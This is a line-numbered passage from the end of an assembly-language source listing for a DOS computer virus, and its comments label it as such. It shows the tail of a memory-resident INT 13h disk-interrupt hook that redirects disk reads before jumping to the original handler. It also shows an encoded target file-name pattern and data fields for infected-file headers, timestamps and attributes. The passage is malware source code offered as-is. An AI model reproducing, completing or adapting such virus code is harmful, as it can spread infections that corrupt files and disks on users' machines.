  1339.              jnz  call_int           ; no, exit resident
  1340.  
  1341.   
  1342.  
  1343.              mov  ah, 0Ah            ; yes, convert to Disk_Read_2
  1344.  
  1345.   
  1346.  
  1347. call_int:    popf                    ; restore flags
  1348.  
  1349.   
  1350.  
  1351.   
  1352.  
  1353. ;  Next 5 bytes form long jump to original INT_13 handler
  1354.  
  1355.   
  1356.  
  1357.              db   0EAh               ; means JMP FAR
  1358.  
  1359.   
  1360.  
  1361. int_IP       dw   0                  ; and here the address to jump to
  1362.  
  1363. int_CS       dw   0
  1364.  
  1365.   
  1366.  
  1367. resident_size  equ  $ - resident
  1368.  
  1369.   
  1370.  
  1371. ;-------- now data for virus, just encoded file name pattern -------;
  1372.  
  1373.   
  1374.  
  1375.     file_name  db  ')-DWD', 0
  1376.  
  1377.   
  1378.  
  1379. ;-------------------------------------------------------------------;
  1380.  
  1381. ;                                                                   ;
  1382.  
  1383. ;         Here VIRUS ends. The rest are purely placeholders         ;
  1384.  
  1385. ;                                                                   ;
  1386.  
  1387. ;-------------------------------------------------------------------;
  1388.  
  1389.   
  1390.  
  1391. ;*******************************************************************;
  1392.  
  1393.  
  1394.  
  1395.     header   dw   13 dup (0)
  1396.  
  1397.  
  1398.  
  1399.     old_SS   dw   0
  1400.  
  1401.     old_SP   dw   0
  1402.  
  1403.  
  1404.  
  1405.     aux_CS   dw   0
  1406.  
  1407.     aux_IP   dw   0
  1408.  
  1409.  
  1410.  
  1411.     old_DTA  dd   0
  1412.  
  1413.  
  1414.  
  1415.     time     dw   0
  1416.  
  1417.     date     dw   0
  1418.  
  1419.  
  1420.  
  1421.     attributes  dw  0
  1422.  
  1423.  
  1424.  
  1425.     install_flag db 0
  1426.  
  1427.  
  1428.  
  1429.     new_name    db  9 dup (0)
  1430.  
  1431.  
  1432.  
  1433.     DTA      dw   2Ch dup (0)
  1434.  
  1435.  
  1436.  
  1437.     aux      dw   2 dup (0)
  1438.  
  1439.  
  1440.  
  1441.     code     ends
  1442.  
  1443.  
  1444.  
  1445.              end  start
  1446.  
  1447.